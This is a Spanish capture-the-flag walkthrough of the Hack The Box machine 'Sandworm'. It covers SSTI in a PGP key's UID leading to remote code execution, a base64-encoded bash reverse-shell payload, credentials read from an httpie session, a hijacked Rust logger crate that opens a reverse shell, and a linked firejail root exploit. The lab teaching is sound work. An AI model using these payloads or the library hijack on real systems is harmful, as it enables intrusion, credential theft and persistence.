Sandworm
Table of contents
- Enumeracion
- SSTI (Server Side Template Injection)
- Movimiento lateral: atlas –> silentobserver (firejail scape) y flag de user
- Movimiento lateral: silentobserver –> atlas
- Escalada de privilegios
Tenemos un sitio web el cual nos permite realizar varias operaciones con claves PGP, donde descubriremos que el campo UID es vulnerable a SSTI con el que conseguiremos RCE, despues haremos movimiento lateral de atlas –> silentobserver via firejail scape, despues otro movimiento laterial de silentobserver –> atlas, modificando una libreria de Rust para ejecutar comandos y mandarnos una rev shell, y para la escalada de privilegios explotaremos una vulnerabilidad de firejail donde necesitaremos dos conexiones como Atlas para explotarla.
Enumeracion
Iniciamos con un escaneo de nmap con:
nmap -sS -n -Pn -T4 --open -p- 10.10.11.152
sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto
n: para que no haga resolucion DNS y tarde menos el escaneo
Pn: para evitar el descubrimiento de hosts
open: para que solo muestre los puertos abiertos
-p-: para que escanee todo el rango de puertos
Y nos reporto que hay varios puertos abiertos:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Ahora escanearemos para obtener mas informacion sobre la version y el servicio que estan corriendo bajo esos puertos:
nmap -sCV -p22,80,443 10.10.11.218
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 22 no vamos a poder hacer nada sin credenciales, y el puerto 80 nos redirige a ssa.htb, asi que hay que agregarlo al etc/hosts:
echo "10.10.11.218 ssa.htb" | tee -a /etc/hosts
Fuzzing de directorios
Podemos usar wffuzz para enumerar directorios mediante fuerza bruta:
wfuzz -u 'https://ssa.htb/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404,405
Vamos a descubrir varios:
- view
- about
- login
- logout
- contact
- admin
- guide
- pgp
Explorando ssa.htb
Al explorar el home, hay algo que llama la atencion, que esta usando flask:
Una vulnerabilidad comun en flask es SSTI(Server Side Template Injection)
En el directorio contact si leemos, nos dice que podemos subir un texto cifrado usando PGP
En la parte de hasta abajo nos dice: Don’t know how to use PGP? Check out our guide y tiene un hipervinculo, si le damos click, nos llevara al directorio /guide donde podemos hacer varias cosas con PGP, como cifrar y decifrar texto.
Tambien donde dice: Practice by importing our public key and encrypting, signing, and verifying messages. tenemos otro hipervinculo que nos lleva a /pgp, que nos muestra una clave publica PGP.
Entonces recapitulando, tenemos:
- /contact: Nos permite enviar un texto cifrado con PGP
- /guide: Nos permite cifrar y desifrar texto, asi como verificar la firma de un texto
- /pgp: Nos proporcionar una clave PGP publica
Explorando funciones
Debido a que el sitio web reliza operaciones con claves PGP, podemos generar las nuestras, en mi caso usare GPG y me guiare de aqui
Como nomas es algo rapido, usare –quick-gen-key que solo ocupa el UID (user id)
gpg --quick-gen-key c4rta
Ahora exportaremos la clave a un archivo:
gpg --armor --export c4rta | sponge pubkey.asc
Y despues firmamos un texto que puede ser cual sea:
echo 'nazuna besto waifu' | gpg --clear-sign
Regresando al sitio web, en esta parte
Del lado derecho copiamos el contenido de la clave que generamos (pubkey.asc), y el lado izquierdo el mensaje firmado
Y tendremos una salida como esta
Tenemos cosas, observa que el UID que pusimos cuando se genero le key, se muestra en el resultado, en mi caso el UID que puse fue c4rta y se ve reflejado
SSTI (Server Side Template Injection)
SSTI significa inyeccion de plantillas del lado del servidor, y es una vulnerabilidad que permite a los atacantes inyectar plantillas maliciosas en un motor de plantillas, la cual sera renderizada por el servidor, esto con el fin de ejecutar comandos del lado del servidor, de ahi su nombre Server Side, si quieres saber mas sobre SSTI, te recomiendo ver un post que le dedique –> SSTI
Una vez sabiendo que es SSTI, lo que podriar estar pasando es que la funcion que se encarga de verificar la firma y el motor de plantillas, estan procesando la informacion que le pasamos por el UID e inyecta esa informacion en la plantilla, despues la renderiza y la muestra en el sitio web.
Como sabemos que el UID es posiblemente el atributo vulnerable, editaremos la clave y su UID
gpg --edit-key c4rta
Usamos adduid para modificar el UID
Cuando nos pida el Real name, ingresaremos el payload SSTI a probar: en mi caso: {{7*7}}
Deberia quedar algo asi si todo va bien
Despues ingresamos trust a ingresamos la opcion 5
Despues de esto nos van aparecer dos UID, como se ve en la imagen, el numero entre parentesis es su indentificador
Ahora selecionaremos el UID viejo, en mi caso c4rta
uid 1
Y lo eliminamos
deluid
Ahora solo nos debe de quedar un UID que es el que tiene el payload
Para terminar le damos save para guardar cambios, volvemos a generar la clave, firmamos un texto y probamos en el sitio web
gpg --armor --export "{\{7*7}} <c4rta@email.com>" | sponge pubkey.asc
echo 'nazuna besto waifu' | gpg --clear-sign
Observa como en la respuesta sale un 49
Eso quiere decir que la operacion se realizo por que el motor de plantillas proceso el payload e inyecto el resultado en la plantilla para luego mostrarlo en el sitio web, y con eso confirmamos que es vulnerable a SSTI
Ahora haremos lo mismo de modificar el UID, generar la clave, etc, para conseguir RCE y tener una rev shell
echo "bash -c 'bash -i >& /dev/tcp/<tu IP>/444 0>&1'" | base64
Y el payload queda asi:
{{ self.init.globals.builtins.import(‘os’).popen(‘echo “YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45NS80NDQgMD4mMScK” | base64 -d | bash’).read() }} |
Lo probramos y nos llega una rev shell
Movimiento lateral: atlas –> silentobserver (firejail scape) y flag de user
Si probamos con varios comandos, vamos a ver que no nos deja
Esto es un caso tipico de que estemos en un sandbox y comunmente es firejail.
Si nos vamos al directorios del usuario atlas vamos a poder ver que se encuentra un directorio .config
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .config
Donde estaran otros dos directorios
dr-------- 2 nobody nogroup 40 Sep 10 11:11 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 2023 httpie
Viendo los permisos y grupos, al unico que vamos a poder entrar es al httpie
Explorando mas, en el directorio: /home/atlas/.config/httpie/sessions/localhost_5000 encontraremos un archivo admin.json con unas credenciales para el usuario silentobserver
- usr: silentobserver
- pass: quietLiketheWind22
Como tenemos el SSH abierto, las probaremos ahi
Y ya tenemos la flag de user:
silentobserver@sandworm:~$ ls
lib.rs user.txt
Movimiento lateral: silentobserver –> atlas
Buscando por binarios SUID encontramos uno que no parece comun
find / -perm -u=s -type f 2>/dev/null
/opt/tipnet/target/debug/tipnet
Adicionalmente podemos ver que ese binario se esta ejecutando:
silentobserver@sandworm:~$ ps -aux | grep -i tipnet
silento+ 73007 0.0 0.0 6608 2412 pts/0 S+ 16:59 0:00 grep --color=auto -i tipnet
Viendo el contenido del directorio, es obvio que es un proyecto de Rust:
drwxrwxr-x 7 root atlas 4096 Sep 10 12:06 ./
drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 ../
drwxrwxr-x 142 atlas atlas 12288 Jun 6 11:49 build/
-rwxrwxr-- 1 root atlas 0 Feb 8 2023 .cargo-lock*
drwxrwxr-x 2 atlas atlas 69632 Sep 10 12:06 deps/
drwxrwxr-x 2 atlas atlas 4096 Jun 6 11:49 examples/
drwxrwxr-- 472 root atlas 24576 Jun 6 11:49 .fingerprint/
drwxrwxr-x 6 atlas atlas 4096 Jun 6 11:49 incremental/
-rwsrwxr-x 2 atlas atlas 59047248 Sep 10 12:06 tipnet*
-rw-rw-r-- 1 atlas atlas 87 May 4 17:24 tipnet.d
En el directorio: /opt/tipnet/src vamos a poder encontrar el codigo fuente el archivo.
Basicamente el codigo lo que hace es interactuar con una base de datos usando upstream y pull y manipula archivos.
Sin embargo, podemos ver que esta haciendo uso de una libreria externa: extern crate logger;, esto es interesante por que no la esta importando desde internet, si no desde la maquina, asi que de debe de encontrar en algun lugar del proyecto. Buscando un poco, la ruta en la que se encuentra es en: /opt/crates/logger/src
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Si vemos sus permisos, en la parte de grupo nos dice que hay permisos de lectura y escritura para el grupo silentobserver:
-rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
Y nosotros somos de ese grupo:
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
Sabiendo que la libreria se manda a llamar en el binario tipnet, y ese binario se ejecuta como Atlas, podemos modificar el codigo de la libreria para ejecutar un comando y que nos de una rev shell.
Y esto podria ser un: Rust library hijacking (RW permissions).
Vamos a modificar el codigo para que ejecute un comando:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let command = "bash -i >& /dev/tcp/<tu IP>/444 0>&1";
let output = Command::new("bash")
.arg("-c")
.arg(command)
.output()
.expect("ERROR");
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Despues de un ratito nos llega la rev shell
Escalada de privilegios
Si buscamos por biarios SUID podemos ver uno de firejail
/usr/local/bin/firejail
Ah este punto toca buscar en google exploits de firejail que nos permitan escalar privilegios, y encontre este: https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
Antes de ejecurlo, necesitamos tener otra conexion como Atlas, lo mas sencillo es tener nuestra id_rsa.pub como authorized_keys en el directorio .ssh de Atlas (tipico mecanismo de persistencia por SSH), y ahora si podemos ejecutarlo y seguir los pasos que nos dice y ya seremos root:
Eso ha sido todo, gracias por leer ❤